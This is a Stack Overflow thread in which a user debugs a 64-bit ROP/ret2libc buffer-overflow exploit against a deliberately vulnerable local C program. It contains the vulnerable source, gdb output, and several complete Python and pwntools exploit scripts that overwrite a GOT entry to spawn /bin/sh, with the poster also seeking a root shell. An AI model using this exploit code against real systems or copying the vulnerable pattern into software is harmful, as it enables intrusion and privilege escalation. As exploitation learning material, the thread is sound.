why do I get a SIGSEGV in _Global_Offset_Table error with my 64bit exploit instead of getting a shell

0

So what's the story.. I'm following this tutorial on 64bit overflow exploit using rop. https://blog.techorganic.com/2016/03/18/64-bit-linux-stack-smashing-tutorial-part-3/

The c source to exploit is pretty simple and even includes a helper function to have the necessary assembly commands at hand; for c code and python script checkout the bottom of the post.

So I (try to) do the following:

  1. leak write address (works)
  2. calculate libc base address (works fine)
  3. calculate systems address (works fine)
  4. write /bin/sh into a writable area (works fine)
  5. launch system with /bin/sh (fails with sigsegv error)

I use the same approach as in the tutorial: setup a tcp listener with socat socat TCP-LISTEN:2323,reuseaddr,fork EXEC:./leak run sudo gdb -q -p $(pidof socat) run python script exploit.py

I did verify

  • I do leak the correct address for write
  • all addresses I use are correct
  • got entry appears in gdb to be overwritten with the system address

    ~ $ sudo socat TCP-LISTEN:2323,reuseaddr,fork EXEC:./leak

relevant gdb lines when running:

    Stopped reason: SIGSEGV
0x0000000000600b58 in _GLOBAL_OFFSET_TABLE_ ()
gdb-peda$ p write
$1 = {<text variable, no debug info>} 0x7f26035f6280 <write>
gdb-peda$ p system
$2 = {<text variable, no debug info>} 0x7f2603544390 <__libc_system>
gdb-peda$ x/xg 0x600b58
0x600b58:   0x00007f2603544390

gdb-peda$ x/5i 0x00007f2603544390
   0x7f2603544390 <__libc_system>:  test   rdi,rdi
   0x7f2603544393 <__libc_system+3>:    je     0x7f26035443a0 <__libc_system+16>
   0x7f2603544395 <__libc_system+5>:    jmp    0x7f2603543e20 <do_system>
   0x7f260354439a <__libc_system+10>:   nop    WORD PTR [rax+rax*1+0x0]
   0x7f26035443a0 <__libc_system+16>:   lea    rdi,[rip+0x147978]        # 0x7f260368bd1f

...
gdb-peda$ find /bin/sh
Searching for '/bin/sh' in: None ranges
Exception (dump memory /tmp/peda-0xjqmnzi 0x7fff153a7000 0x7fff153a9000): Cannot access memory at address 0x7fff153a7000
Traceback (most recent call last):
  File "~/peda/peda.py", line 118, in execute_redirect
gdb.MemoryError: Cannot access memory at address 0x7fff153a7000
Found 2 results, display max 2 items:
leak : 0x600b40 --> 0x68732f6e69622f ('/bin/sh')
libc : 0x7fa6d6ddfd17 --> 0x68732f6e69622f ('/bin/sh')

relevant lines from the script output:

~/github/ghostInTheShell $ ./exploit.py
[+] b'input: '
[+] write is at 0x7f26035f6280
[+] libcbase is at 0x7f26034ff000
[+] system is at 0x7f2603544390
[+] sending system address
[+] sending '/bin/sh' string
[+] try to open a shell via telnet

so from gdb and output you can see that things should be ok regarding the address scheme. but for some reason it throws SIGSEGV and wont execute system as expected. I did some research and thought I found the issue which is called 'relro' but even if I turn this off with the option -Wl,-z,-norelro I still get the sigsegv error. So thats not it. ASLR and NX are turned on but everything else is turned off. Anybody got some ideas why this would fail in the last piece? Maybe there is some additional protection turned on I dont know about? Best Zaphoxx

P.S. suid is set for ./leak according to

-rwsr-xr-x 1 root    root    7696 Nov 19 23:37 leak

so that should not be the issue here.

/* leak.c gcc -fno-stack-protector -o leak leak.c hint: make sure executing folder does not have nosuid flag set by checking out 'cat /proc/mounts' hint: turn of relro with -Wl,-z,norelro when compiling */

#include <stdio.h>
#include <unistd.h>
#include <string.h>

// add some helper asm snippets for convenience
void helper(){
    asm("pop %rdi;pop %rsi;pop %rdx;ret;");
    asm("pop %rsi;ret;");
    asm("push %rsi;ret;");  
}

int vuln(){
    char buf[150];
    write(1,"input: ",7);
    ssize_t l=0;
    memset(buf,0,sizeof(buf));
    l=read(0,buf,400);
    printf("[+] recvd: ");
    write(1,buf,l);
    return (int) l;
}

int main(){
    setbuf(stdout,0);
    printf("<%d>\n",vuln());
    return 0;
}

python script exploit.py:

#!/usr/bin/python3
# exploit for binary leak (leak.c)
from socket import *
from struct import *
import telnetlib

write_plt=0x4004f0  #address of write@plt
read_plt=0x400530
write_got=0x600b58  #address in got for write
write_off=0xf7280  #memsets offset in libc
system_off=0x45390  #systems offset in libc
pop3ret=0x40065a    #pop rdi;pop rsi;pop rdx;ret; 
writable=0x600b40 #writeable address

n=168               #padding

# part1: leak write address
shell=b""
shell+=bytearray("A","utf-8")*n
shell+=pack("<Q",pop3ret)
shell+=pack("<Q",1)
shell+=pack("<Q",write_got)
shell+=pack("<Q",0x8)
shell+=pack("<Q",write_plt)

# part2: write system address into write got using read
shell+=pack("<Q",pop3ret)
shell+=pack("<Q",0)
shell+=pack("<Q",write_got)
shell+=pack("<Q",0x8)
shell+=pack("<Q",read_plt)

# part3: write '/bin/sh' into a writeable address
shell+=pack("<Q",pop3ret)
shell+=pack("<Q",0)
shell+=pack("<Q",writable)
shell+=pack("<Q",0x8)
shell+=pack("<Q",read_plt)

# part4: invoke system
shell+=pack("<Q",pop3ret)
shell+=pack("<Q",writable)
shell+=pack("<Q",0xdeadbeef)
shell+=pack("<Q",0xcafebabe)
shell+=pack("<Q",write_got)

with open("pwn","wb") as p:
    p.write(shell)

s=socket(AF_INET,SOCK_STREAM)
s.connect(("127.0.0.1",2323))
print("[+] {}".format(str(s.recv(1024))))

# send payload
s.send(shell+bytearray("\n","utf-8"))

# get back write address
data=s.recv(1024)
d=data[-8:]
write_addr=unpack("<Q",d)

#calculate libc base address
libc_base=write_addr[0]-write_off

#calculate system address
system_addr=libc_base+system_off

# send system address
s.send(pack("<Q",system_addr))

# send '/bin/sh' string
s.send(bytearray("/bin/sh","utf-8"))

print("[+] write is at {}".format(hex(write_addr[0])))
print("[+] libcbase is at {}".format(hex(libc_base)))
print("[+] system is at {}".format(hex(system_addr)))
print("[+] sending system address")
print("[+] sending \'/bin/sh\' string")

print("[+] try to open a shell via telnet")
# open a shell
t=telnetlib.Telnet()
t.sock=s 
t.interact()

while(True):
    s.recv(1024)
python
c
64-bit
buffer-overflow
exploit
asked on Stack Overflow Nov 20, 2017 by Zapho Oxx • edited Nov 21, 2017 by Zapho Oxx

3 Answers

1

As I already commented using write_got instead of write_plt will make your exploit fail. While testing your exploit I found out that attaching gdb to the target process while running your exploit, I was getting weird output

[+] b'input: '
[+] write is at 0x203a647663657220
[+] libcbase is at 0x203a64766355ff70
[+] system is at 0x203a6476635a5300
[+] sending system address
[+] sending '/bin/sh' string
[+] try to open a shell via telnet

I suspect this is from the fact that you used python socket. I have experienced in CTFs that sometimes you'll have to mess up with the buffering a lot. Its better to use a library already built for this. Check out my exploit how I have used pwntools to make my life easier for buffering inputs/outputs and for parsing ELF files so that you don't have to manually copy output from gdb.

answered on Stack Overflow Jan 31, 2018 by sudhackar
0

SIGSEGV on an instruction that does no memory I/O (like xor %rdi, %rdi) generally means you’re executing a no exec page or your stack pointer or frame pointer are not mapped

answered on Stack Overflow Jan 6, 2018 by adam
0

so I finally figured it out with help from sudhackar (thanks a lot for pointing me in the right direction)

so basically there where two issues with the original code.

  1. I accidently put in write_got instead of write_plt when trying to invoke system()
  2. the python socket creates some weird responses due to the buffering of the recv function. I had to make sure I captured the leaks at the right moments. So I added a small function (recvuntil(socket,searchstring)) that would make sure I do send and recv data at the right moments.
  3. I reproduced the same with pwntools but there I have the problem that I wont get a root shell but a normal user shell instead
  4. UPDATED: I do not get a root shell with my own modified code as mentioned earlier. So I'm still stuck at that part for now.

So maybe someone can answer that final mystery!

UPDATE: Wont open a root shell for either version. I will always only get a normal user shell.

I posted both scripts below, first my own version and second the pwntools version which basically does the same thing.

!/usr/bin/python3

# exploit for binary leak (leak.c)
from socket import *
from struct import *
import telnetlib

def recvuntil(sock,key):
    found=False
    data=bytearray()
    bkey=bytearray(key,"utf-8")
    keylen=len(bkey)  
    while not found:
        try:
            b=sock.recv(1)
            #print(b,len(b))
            data.append(unpack("<B",b)[0])
            #data.append(unpack("<b",sock.recv(0x1)))
        except Exception as e1:
            print("[error] in recvuntil !")
            print(e1)
            found=False
            break

        if data[-keylen:]==bkey:
            found=True
            print(data)
            print("[+] found key \'{}\'".format(key))
        else:
            found=False
    return found


write_plt=0x400520  #address of write@plt
read_plt=0x400560
write_got=0x601018  #address in got for write
write_off=0xf72b0  #offset in libc
system_off=0x45390  #systems offset in libc
pop3ret=0x40068a    #pop rdi;pop rsi;pop rdx;ret; 
writable=0x601048 #writeable address

n=168               #padding

# part1: leak write address
shell=b""
shell+=bytearray("A","utf-8")*n
shell+=pack("<Q",pop3ret)
shell+=pack("<Q",1)
shell+=pack("<Q",write_got)
shell+=pack("<Q",0x8)
shell+=pack("<Q",write_plt)


# part2: write system address into write got using read
shell+=pack("<Q",pop3ret)
shell+=pack("<Q",0)
shell+=pack("<Q",write_got)
shell+=pack("<Q",0x8)
shell+=pack("<Q",read_plt)

# part3: write '/bin/sh' into a writeable address
shell+=pack("<Q",pop3ret)
shell+=pack("<Q",0)
shell+=pack("<Q",writable)
shell+=pack("<Q",0x8)
shell+=pack("<Q",read_plt)

# part4: invoke system
shell+=pack("<Q",pop3ret)
shell+=pack("<Q",writable)
shell+=pack("<Q",0xdeadbeef)
shell+=pack("<Q",0xcafebabe)
shell+=pack("<Q",write_plt)

shell+=bytearray("\n","utf-8")
shell+=bytearray("EOPWN","utf-8")
#with open("pwn","wb") as p:
#    p.write(shell)

s=socket(AF_INET,SOCK_STREAM)
s.connect(("127.0.0.1",2323))
#print("[+ #01] {}".format((s.recv(1024)).decode("utf-8")))

recvuntil(s,": ")

# send payload
bytes_sent=0
while bytes_sent<len(shell):
    bytes_sent+=s.send(shell[bytes_sent:])

recvuntil(s,"EOPWN")
# get back write address
data=s.recv(8)

d=data[-8:]
print(data,d)
write_addr=unpack("<Q",d)

#calculate libc base address
libc_base=write_addr[0]-write_off

#calculate system address
system_addr=libc_base+system_off

# send system address
s.send(pack("<Q",system_addr))

# send '/bin/sh' string
s.send(bytearray("/bin/sh","utf-8"))

print("[+] write is at {}".format(hex(write_addr[0])))
print("[+] libcbase is at {}".format(hex(libc_base)))
print("[+] system is at {}".format(hex(system_addr)))
print("[+] sending system address")
print("[+] sending \'/bin/sh\' string")
print("[+] try to open a shell via telnet")
# open a shell
t=telnetlib.Telnet()
t.sock=s 
t.interact()

while(True):
    s.recv(1024)

same using pwntools:

from pwn import *

pop3ret=0x40068a
writable=0x601048 #writeable address
bin=ELF("./leak")
lib=ELF("/lib/x86_64-linux-gnu/libc.so.6")
# Start a forking server
server = process(['socat', 'tcp-listen:2323,fork,reuseaddr', 'exec:./leak'])
# Connect to the server
s=remote("127.0.0.1",2323)
s.recvuntil(": ")

#leak address of write
payload=b"A"*168
payload+=p64(pop3ret)
payload+=p64(constants.STDOUT_FILENO) 
payload+=p64(bin.got[b'write']) #write@got
payload+=p64(0x8)
payload+=p64(bin.plt[b'write']) #write@plt

# part2: write system address into write got using read
payload+=p64(pop3ret)
    payload+=p64(constants.STDIN_FILENO)
payload+=p64(bin.got[b'write']) #write@got
payload+=p64(0x8)
payload+=p64(bin.plt[b'read']) #read@plt

# part3: write /bin/sh to writable address
payload+=p64(pop3ret)
payload+=p64(constants.STDIN_FILENO)
payload+=p64(writable)
payload+=p64(0x7)
payload+=p64(bin.plt[b'read'])

# part4: invoke system
payload+=p64(pop3ret)
payload+=p64(writable)
payload+=p64(0xdeadbeef)
payload+=p64(0xcafebabe)
payload+=p64(bin.plt[b'write'])

payload+=b'EOPAY'

print("[+] send payload")
s.send(payload)

s.recvuntil(b'EOPAY')
print("[+] recvd \'EOPAY\'")

got_leak=u64(s.recv(8))
print("[+] leaked write address: {}".format(hex(got_leak)))
libc_base=got_leak-lib.symbols[b'write']
system_leak=libc_base+lib.symbols[b'system']
print("[+] system: {}".format(hex(system_leak)))

s.send(p64(system_leak))
s.send(b'/bin/sh')
s.interactive()
answered on Stack Overflow Feb 1, 2018 by Zapho Oxx • edited Feb 5, 2018 by Zapho Oxx

User contributions licensed under CC BY-SA 3.0